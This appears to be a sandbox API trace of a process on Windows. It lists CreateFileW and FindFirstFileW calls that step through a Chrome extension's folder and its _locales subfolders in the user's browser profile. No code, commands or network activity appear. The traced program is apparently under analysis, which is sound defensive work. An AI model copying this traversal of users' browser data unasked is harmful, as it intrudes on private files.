	[0066.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.402] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*", lpFindFileData=0x1241565c | out: lpFindFileData=0x1241565c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.405] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.408] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.409] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.410] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.413] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.414] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.414] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.416] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.416] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.421] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.422] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
